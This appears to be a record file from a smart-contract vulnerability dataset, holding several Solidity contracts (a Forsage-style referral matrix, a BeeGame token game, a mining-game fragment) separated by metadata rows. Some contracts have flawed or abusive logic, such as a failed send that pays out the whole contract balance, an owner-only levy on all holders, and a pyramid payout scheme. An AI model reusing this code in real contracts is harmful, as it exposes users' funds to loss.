if (p.virusNumber < subtractVirus) { revert(); }
p.virusNumber = SafeMath.sub(p.virusNumber, subtractVirus);
emit ChangeVirus(_addr, _value, 2);
}
function claimPrizePool(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(prizePool > _value);
prizePool = SafeMath.sub(prizePool, _value);
MiniGameInterface MiniGame = MiniGameInterface(_addr);
MiniGame.fallback.value(_value)();
}
//--------------------------------------------------------------------------
// PLAYERS
//--------------------------------------------------------------------------
function buyEngineer(uint256[8] engineerNumbers) public payable disableContract
{
updateVirus(msg.sender);
Player storage p = players[msg.sender];
uint256 priceCrystals = 0;
uint256 priceEth = 0;
uint256 research = 0;
for (uint256 engineerIdx = 0; engineerIdx < numberOfEngineer; engineerIdx++) {
uint256 engineerNumber = engineerNumbers[engineerIdx];
EngineerData memory e = engineers[engineerIdx];
// require for engineerNumber
if(engineerNumber > e.limit || engineerNumber < 0) revert();
// engineer you want buy
if (engineerNumber > 0) {
uint256 currentEngineerCount = p.engineersCount[engineerIdx];
// update player data
p.engineersCount[engineerIdx] = SafeMath.min(e.limit, SafeMath.add(p.engineersCount[engineerIdx], engineerNumber));
// calculate no research you want buy
research = SafeMath.add(research, SafeMath.mul(SafeMath.sub(p.engineersCount[engineerIdx],currentEngineerCount), e.baseResearch));
// calculate price crystals and eth you will pay
priceCrystals = SafeMath.add(priceCrystals, SafeMath.mul(e.basePrice, engineerNumber));
priceEth = SafeMath.add(priceEth, SafeMath.mul(e.baseETH, engineerNumber));
}
}
// check price eth
if (priceEth < msg.value) revert();
uint256 devFeePrize = devFee(priceEth);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
// pay and update
MiningWar.subCrystal(msg.sender, priceCrystals);
updateResearch(msg.sender, research);
emit BuyEngineer(msg.sender, engineerNumbers, priceCrystals, priceEth, research);
}
function updateVirus(address _addr) private
{
Player storage p = players[_addr];
p.virusNumber = calCurrentVirus(_addr);
p.lastUpdateTime = now;
}
function calCurrentVirus(address _addr) public view returns(uint256 _currentVirus)
{
Player memory p = players[_addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 researchPerDay = getResearchPerDay(_addr);
_currentVirus = p.virusNumber;
if (researchPerDay > 0) {
_currentVirus = SafeMath.add(_currentVirus, SafeMath.mul(researchPerDay, secondsPassed));
}
}
function updateResearch(address _addr, uint256 _research) private
{
Player storage p = players[_addr];
p.research = SafeMath.add(p.research, _research);
emit UpdateResearch(_addr, p.research);
}
function getResearchPerDay(address _addr) public view returns(uint256 _researchPerDay)
{
Player memory p = players[_addr];
_researchPerDay = p.research;
uint256 boosterIdx = hasBooster(_addr);
if (boosterIdx != 999) {
BoostData memory b = boostData[boosterIdx];
_researchPerDay = SafeMath.div(SafeMath.mul(_researchPerDay, b.boostRate), 100);
}
}
function getPlayerData(address _addr)
public
view
returns(uint256 _virusNumber,
uint256 _currentVirus,
uint256 _research,
uint256 _researchPerDay,
uint256 _lastUpdateTime,
uint256[8] _engineersCount)
{
Player storage p = players[_addr];
for (uint256 idx = 0; idx < numberOfEngineer; idx++) {
_engineersCount[idx] = p.engineersCount[idx];
}
_currentVirus= SafeMath.div(calCurrentVirus(_addr), VIRUS_MINING_PERIOD);
_virusNumber = SafeMath.div(p.virusNumber, VIRUS_MINING_PERIOD);
_lastUpdateTime = p.lastUpdateTime;
_research = p.research;
_researchPerDay = getResearchPerDay(_addr);
}
//--------------------------------------------------------------------------
// INTERNAL
//--------------------------------------------------------------------------
function addPrizePool(uint256 _value) private
{
prizePool = SafeMath.add(prizePool, _value);
}
function addMiningWarPrizePool(uint256 _value) private
{
MiningWar.fallback.value(_value)();
}
function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals)
{
_currentCrystals = SafeMath.div(MiningWar.calCurrentCrystals(_addr), CRTSTAL_MINING_PERIOD);
}
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function distributedToOwner(uint256 _value) private
{
gameSponsor.transfer(_value);
administrator.transfer(_value);
}
}
| 198,395 | 11,374 |
0f35ae690ba865402eba2766b155cceef945e53051b26528256331b46f711e70
| 19,967 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/23_3635316_0x5acc84a3e955bdd76467d3348077d003f00ffb97.sol
| 4,774 | 18,721 |
pragma solidity >=0.4.23 <0.6.0;
contract SmartMatrixForsage {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 0.025 ether;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 0.05 ether, "registration cost 0.05");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 232,550 | 11,375 |
3de0690e7c3bd8c09aada25ed47e043020eceffd3b26aa5012106359b147e16d
| 13,738 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x525ce184d0fe3e3a6e2e8900a20ea40a2a835a79.sol
| 3,784 | 13,642 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
library TiposCompartidos {
enum TipoPremio {none,free,x2,x3,x5, surprise }
enum EstadoMensaje{pendiente,aprobado,rechazado}
struct Celda {
address creador;
uint polenPositivos;
uint polenNegativos;
uint256 fechaCreacion;
uint primeraPosicion;
uint segundaPosicion;
uint terceraPosicion;
uint cuartaPosicion;
uint quintaPosicion;
uint sextaPosicion;
TipoPremio tipo;
bool premio;
}
struct Mensaje {
address creador;
string apodo;
uint256 fechaCreacion;
string mensaje;
TiposCompartidos.EstadoMensaje estado;
string motivo;
}
}
contract BeeGame is owned {
uint256 internal sellPrice;
uint256 internal buyPrice;
uint internal numeroCeldas;
uint internal numeroMensajes;
string internal name;
string internal symbol;
uint8 internal decimals;
uint internal numeroUsuarios;
uint fechaTax;
mapping (address => uint) balanceOf;
address[] indiceUsuarios;
mapping (uint256 => TiposCompartidos.Celda) celdas;
mapping (uint256 => TiposCompartidos.Mensaje) mensajes;
uint256[] indiceCeldas;
uint256[] indiceMensajes;
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferKO(address indexed from, address indexed to, uint256 value);
function BeeGame (uint256 initialSupply,
uint256 newSellPrice,
uint256 newBuyPrice,
uint _fechaTax) public {
fechaTax = _fechaTax;
balanceOf[owner] = initialSupply;
setPrices(newSellPrice,newBuyPrice);
numeroCeldas = 0;
name = "Beether";
symbol = "beeth";
decimals = 2;
TiposCompartidos.Celda memory celda = TiposCompartidos.Celda({
creador:msg.sender,
polenPositivos : 0,
polenNegativos : 3,
fechaCreacion: 1509302402021,
primeraPosicion : 0,
segundaPosicion : 0,
terceraPosicion : 0,
cuartaPosicion : 0,
quintaPosicion : 0,
sextaPosicion : 0,
tipo:TiposCompartidos.TipoPremio.none,
premio:false
});
indiceCeldas.push(1509302402021);
numeroCeldas = numeroCeldas + 1;
numeroUsuarios = numeroUsuarios + 1;
indiceUsuarios.push(msg.sender);
celdas[1509302402021] = celda;
}
function buy() public payable returns (uint amount) {
amount = msg.value / buyPrice;
require(balanceOf[owner] >= amount);
_transfer(owner, msg.sender, amount);
incluirUsuario(msg.sender);
Transfer(owner, msg.sender, amount);
return amount;
}
function incluirUsuario(address usuario) public {
bool encontrado = false;
for (uint i = 0; i < numeroUsuarios; i++) {
address usuarioT = indiceUsuarios[i];
if (usuarioT == usuario){
encontrado = true;
}
}
if(!encontrado){
indiceUsuarios.push(usuario);
numeroUsuarios++;
}
}
function cobrarImpuesto(uint _fechaTax) public onlyOwner {
for (uint i = 0; i < numeroUsuarios; i++) {
address usuario = indiceUsuarios[i];
if (balanceOf[usuario] > 0){
_transfer(usuario, owner, 1);
}
}
fechaTax = _fechaTax;
}
function crearCelda(uint _polenes, uint256 _fechaCreacion, uint posicion, uint _celdaPadre, uint _celdaAbuelo, TiposCompartidos.TipoPremio tipo) public {
require(balanceOf[msg.sender]>=3);
require(_polenes == 3);
require(_celdaPadre != 0);
require((posicion >= 0 && posicion < 7) || (posicion == 0 && msg.sender == owner));
require(((tipo == TiposCompartidos.TipoPremio.free || tipo == TiposCompartidos.TipoPremio.x2 || tipo == TiposCompartidos.TipoPremio.x3 || tipo == TiposCompartidos.TipoPremio.x5 || tipo == TiposCompartidos.TipoPremio.surprise) && msg.sender == owner) || tipo == TiposCompartidos.TipoPremio.none);
TiposCompartidos.Celda memory celdaPadre = celdas[_celdaPadre];
require(((posicion == 1 && celdaPadre.primeraPosicion == 0) || celdas[celdaPadre.primeraPosicion].tipo != TiposCompartidos.TipoPremio.none) ||
((posicion == 2 && celdaPadre.segundaPosicion == 0) || celdas[celdaPadre.segundaPosicion].tipo != TiposCompartidos.TipoPremio.none) ||
((posicion == 3 && celdaPadre.terceraPosicion == 0) || celdas[celdaPadre.terceraPosicion].tipo != TiposCompartidos.TipoPremio.none) ||
((posicion == 4 && celdaPadre.cuartaPosicion == 0) || celdas[celdaPadre.cuartaPosicion].tipo != TiposCompartidos.TipoPremio.none) ||
((posicion == 5 && celdaPadre.quintaPosicion == 0) || celdas[celdaPadre.quintaPosicion].tipo != TiposCompartidos.TipoPremio.none) ||
((posicion == 6 && celdaPadre.sextaPosicion == 0) || celdas[celdaPadre.sextaPosicion].tipo != TiposCompartidos.TipoPremio.none));
TiposCompartidos.Celda memory celda;
TiposCompartidos.TipoPremio tipoPremio;
if (celdas[_fechaCreacion].fechaCreacion == _fechaCreacion) {
celda = celdas[_fechaCreacion];
celda.creador = msg.sender;
celda.premio = false;
tipoPremio = celda.tipo;
celda.tipo = TiposCompartidos.TipoPremio.none;
} else {
if (msg.sender != owner) {
celda = TiposCompartidos.Celda({
creador:msg.sender,
polenPositivos : 0,
polenNegativos : _polenes,
fechaCreacion: _fechaCreacion,
primeraPosicion : 0,
segundaPosicion : 0,
terceraPosicion : 0,
cuartaPosicion : 0,
quintaPosicion : 0,
sextaPosicion : 0,
tipo:tipo,
premio:false
});
}else {
celda = TiposCompartidos.Celda({
creador:msg.sender,
polenPositivos : 0,
polenNegativos : _polenes,
fechaCreacion: _fechaCreacion,
primeraPosicion : 0,
segundaPosicion : 0,
terceraPosicion : 0,
cuartaPosicion : 0,
quintaPosicion : 0,
sextaPosicion : 0,
tipo:tipo,
premio:true
});
}
indiceCeldas.push(_fechaCreacion);
numeroCeldas = numeroCeldas + 1;
}
celdas[_fechaCreacion] = celda;
TiposCompartidos.Celda memory celdaAbuelo = celdas[_celdaAbuelo];
uint multiplicador = 1;
address repartidor = msg.sender;
if (tipoPremio == TiposCompartidos.TipoPremio.x2 && !celda.premio) {
multiplicador = 2;
repartidor = owner;
} else if (tipoPremio == TiposCompartidos.TipoPremio.x3 && !celda.premio) {
multiplicador = 3;
repartidor = owner;
} else if (tipoPremio == TiposCompartidos.TipoPremio.x5 && !celda.premio) {
multiplicador = 5;
repartidor = owner;
} else if (tipoPremio == TiposCompartidos.TipoPremio.free && !celda.premio) {
repartidor = owner;
}
if (posicion == 1 && celdaPadre.primeraPosicion == 0) {
celdaPadre.primeraPosicion = _fechaCreacion;
}else if (posicion == 2 && celdaPadre.segundaPosicion == 0) {
celdaPadre.segundaPosicion = _fechaCreacion;
}else if (posicion == 3 && celdaPadre.terceraPosicion == 0) {
celdaPadre.terceraPosicion = _fechaCreacion;
}else if (posicion == 4 && celdaPadre.cuartaPosicion == 0) {
celdaPadre.cuartaPosicion = _fechaCreacion;
}else if (posicion == 5 && celdaPadre.quintaPosicion == 0) {
celdaPadre.quintaPosicion = _fechaCreacion;
}else if (posicion == 6 && celdaPadre.sextaPosicion == 0) {
celdaPadre.sextaPosicion = _fechaCreacion;
}
if (_celdaAbuelo != 0 && !celda.premio) {
_transfer(repartidor,celdaPadre.creador,2 * multiplicador);
celdaPadre.polenPositivos = celdaPadre.polenPositivos + (2 * multiplicador);
celdaAbuelo.polenPositivos = celdaAbuelo.polenPositivos + (1 * multiplicador);
_transfer(repartidor,celdaAbuelo.creador,1 * multiplicador);
celdas[celdaAbuelo.fechaCreacion] = celdaAbuelo;
}else if (!celda.premio) {
_transfer(repartidor,celdaPadre.creador,3 * multiplicador);
celdaPadre.polenPositivos = celdaPadre.polenPositivos + (3 * multiplicador);
}
celdas[celdaPadre.fechaCreacion] = celdaPadre;
}
function getCelda(uint index) public view returns (address creador, uint polenPositivos, uint polenNegativos, uint fechaCreacion,
uint primeraPosicion, uint segundaPosicion, uint terceraPosicion,
uint cuartaPosicion, uint quintaPosicion, uint sextaPosicion, TiposCompartidos.TipoPremio tipo, bool premio) {
uint256 indexA = indiceCeldas[index];
TiposCompartidos.Celda memory celda = celdas[indexA];
return (celda.creador,celda.polenPositivos,celda.polenNegativos,celda.fechaCreacion,
celda.primeraPosicion, celda.segundaPosicion, celda.terceraPosicion, celda.cuartaPosicion,
celda.quintaPosicion, celda.sextaPosicion, celda.tipo, celda.premio);
}
function getMensaje(uint index) public view returns(address creador,uint fechaCreacion,string _mensaje,string apodo, TiposCompartidos.EstadoMensaje estado, string motivo){
uint256 indexA = indiceMensajes[index];
TiposCompartidos.Mensaje memory mensaje = mensajes[indexA];
return (mensaje.creador,mensaje.fechaCreacion,mensaje.mensaje,mensaje.apodo,mensaje.estado,mensaje.motivo);
}
function insertarMensaje(uint256 _fechaCreacion, string _apodo,string _mensaje) public {
bool encontrado = false;
for (uint i = 0; i < numeroUsuarios && !encontrado; i++) {
address usuarioT = indiceUsuarios[i];
if (usuarioT == msg.sender) {
encontrado = true;
}
}
require(encontrado);
indiceMensajes.push(_fechaCreacion);
numeroMensajes = numeroMensajes + 1;
TiposCompartidos.Mensaje memory mensaje = TiposCompartidos.Mensaje({
creador:msg.sender,
apodo:_apodo,
fechaCreacion:_fechaCreacion,
mensaje:_mensaje,
estado:TiposCompartidos.EstadoMensaje.aprobado,
motivo:""
});
mensajes[_fechaCreacion] = mensaje;
}
function aprobarMensaje(uint256 _fechaCreacion,TiposCompartidos.EstadoMensaje _estado,string _motivo) public onlyOwner {
TiposCompartidos.Mensaje memory mensaje = mensajes[_fechaCreacion];
mensaje.estado = _estado;
mensaje.motivo = _motivo;
mensajes[_fechaCreacion] = mensaje;
}
function getBalance(address addr) public view returns(uint) {
return balanceOf[addr];
}
function getFechaTax() public view returns(uint) {
return fechaTax;
}
function getNumeroCeldas() public view returns(uint) {
return numeroCeldas;
}
function getNumeroMensajes() public view returns(uint) {
return numeroMensajes;
}
function getOwner() public view returns(address) {
return owner;
}
function getRevenue(uint amount) public onlyOwner {
owner.transfer(amount);
}
function sell(uint amount) public {
require(balanceOf[msg.sender] >= amount);
_transfer(msg.sender, owner, amount);
uint revenue = amount * sellPrice;
if (msg.sender.send (revenue)) {
Transfer(msg.sender, owner, revenue);
}else {
_transfer(owner, msg.sender, amount);
TransferKO(msg.sender, this, revenue);
}
}
function setFechaTax(uint _fechaTax) public onlyOwner {
fechaTax = _fechaTax;
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner {
sellPrice = newSellPrice * 1 finney;
buyPrice = newBuyPrice * 1 finney;
}
function transfer(address _to, uint _value) public {
_transfer(msg.sender, _to, _value);
incluirUsuario(_to);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[_from] = balanceOf[_from] - _value;
balanceOf[_to] = balanceOf[_to] + _value;
Transfer(_from, _to, _value);
}
}
| 200,532 | 11,376 |
4f9999d6f8bbb5a44f284e59b2870ce8db3b5bbc7ada84e67812cd69223c4f2f
| 11,944 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/0006388203076981c593b775c0c773d83dda2b18.sol
| 2,952 | 11,131 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
